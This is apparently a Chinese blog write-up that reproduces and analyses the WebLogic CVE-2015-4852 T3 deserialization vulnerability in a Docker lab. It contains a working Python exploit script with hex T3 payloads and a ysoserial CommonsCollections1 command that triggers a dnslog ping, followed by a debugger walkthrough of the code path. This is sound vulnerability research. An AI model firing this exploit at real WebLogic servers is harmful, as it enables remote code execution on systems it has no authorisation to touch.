0%

JAVA安全:Weblogic之CVE-2015-4852反序列化漏洞

作者:Narcher 时间:2024/5/1 分类:Vulnerability Analysis

前言

在很久之前就听说过weblogic的漏洞,但一直没有复现过,最近看了看网上的文章,感觉总是在一些我理解不了的步骤那里跳过,无奈只能自己写一篇来记录一下具体流程(当然,分析思路肯定还是看的网上大佬们的思路)

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。 weblogic详解 - 疯子110 - 博客园 (cnblogs.com)

实际上可以理解成比tomcat要6的充钱版?

正文

环境搭建

QAX-A-Team/WeblogicEnvironment: Weblogic环境搭建工具 (github.com)

直接使用上边的QAX-A-Team的脚本可能会有点问题,这里推荐看一下Drunkbaby大佬的文章:

CVE-2015-4852 WebLogic T3 反序列化分析 | Drunkbaby’s Blog (drun1baby.top)

至于远程调试环节,Drunkbaby佬说的不是很清楚,我就在这里补充一下:

在虚拟机终端输入以下命令:

1
2
3
4
5
6
7
8
9
#进入容器
sudo docker exec -it weblogic1036jdk7u21 /bin/bash
cd /u01/app/oracle/
cp -r middleware/ /root/WeblogicEnvironment-master/
exit
#宿主机执行
sudo docker cp 7a84dc24433b:/root/WeblogicEnvironment-master .
sudo chown -R root:root WeblogicEnvironment-master
tar czvf newfile.tar.gz WeblogicEnvironment-master

之后将newfile.tar.gz复制到有IDEA的机子上,将其解压后,用IDEA打开WeblogicEnvironment-master\wlserver目录,配置好SDK和Remote远程调试即可:

weblogic环境部署与远程调试 | 极客无影 (bleke.top)

上边这篇文章对之后的步骤讲的很详细,我就不重复了

漏洞复现

使用下列脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import socket
import struct

def exp(host, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, int(port))
data = ""
try:
sock.connect(server_address)
headers = 't3 12.2.1\nAS:255\nHL:19\n\n'.format(port)
sock.sendall(headers.encode()) # 将字符串转换为字节对象
data = sock.recv(2)
f = open('./payload', 'rb')
payload_obj = f.read()
f.close()
payload1 = bytes.fromhex("000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000")
payload3 = bytes.fromhex("aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078")
payload2 = payload_obj
payload = payload1 + payload2 + payload3

payload = struct.pack('>I', len(payload)) + payload[4:]

sock.send(payload)
data = sock.recv(4096)
except socket.error as e:
print (u'socket 连接异常!')
finally:
sock.close()

exp('192.168.58.128', 7001)

其中,payload是ysoserial的输出:

1
java -jar ysoserial.jar CommonsCollections1 "ping jiznv3.dnslog.cn" > payload

之后直接运行查看dnslog:

1714545431941

命令执行成功

漏洞分析

我们将断点打在InboundMsgAbbrev类的readObject方法处:

1714559412457

之后运行脚本,查看断点处的状态,首先是var2的赋值,之后会进入case0,我们先看一下ServerChannelInputStream类的创建工作

1714559775153

实际上这个就是InboundMsgAbbrev类里的一个内部类,我们继续跟进到MsgAbbrevInputStream类的getServerChannel方法:

1714559864453

此时connection也是一个内部类weblogic.rjvm.t3.MuxableSocketT3$T3MsgAbbrevJVMConnection@7a17787e,用于weblogic服务器和JVM之间使用T3协议传输数据,之后跟进getChannel方法,可以看出大致上就是对T3协议传输数据的处理:

1714560722044 1714560820646

至于之后的getChannel方法,就是把socket传入数据的处理结果进行返回

之后便出来了,开始执行ServerChannelInputStream类的readObject方法,但这个类并未对readObject方法进行重写,而是触发了继承自其父类ObjectInputStream类的readObject方法:

1714561665009 1714561728772

看到这里自然就想起之前学CC链的时候,最终序列化和反序列化操作的编写了,我这里把它们拿过来:

1
2
3
4
5
6
//序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\Narcher\\IdeaProjects\\CC1.txt"));
oos.writeObject(o);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C:\\Users\\Narcher\\IdeaProjects\\CC1.txt"));
ois.readObject();

所以说走到这步就可以停下来了,剩下的就是最基本的反序列化操作

说白了就是weblogic在处理T3协议传入的序列化数据时调用了ObjectInputStream类的readObject方法而又没加任何限制,从而导致的反序列化漏洞中CC链的执行

T3协议学习

T3 协议其实就是Weblogic RMI 调用时的通信协议,来看一下z_zz_zzz师傅的图:

pic

此时我们回头看EXP脚本中的内容,发现在payload的前后都加上了一串数据,这其实就是T3协议的格式(后边的有没有好像无所谓?)

1714563293519

第一部分是请求包的头部,t3+weblogic客户端的版本号,第二部分是weblogic服务器的返回数据,HELO+weblogic服务器版本号,第三部分就是我们拼接的payload了

十六进制如下:

1714563563094

可以在00000078对应的行数看到十六进制的ac ed 00 05,说明这后边跟的就是我们的Java序列化数据

进一步的学习推荐去看修复weblogic的JAVA反序列化漏洞的多种方法 | WooYun知识库 (xmd5.com)这篇文章

小结

要学的东西还有很多。。。。。。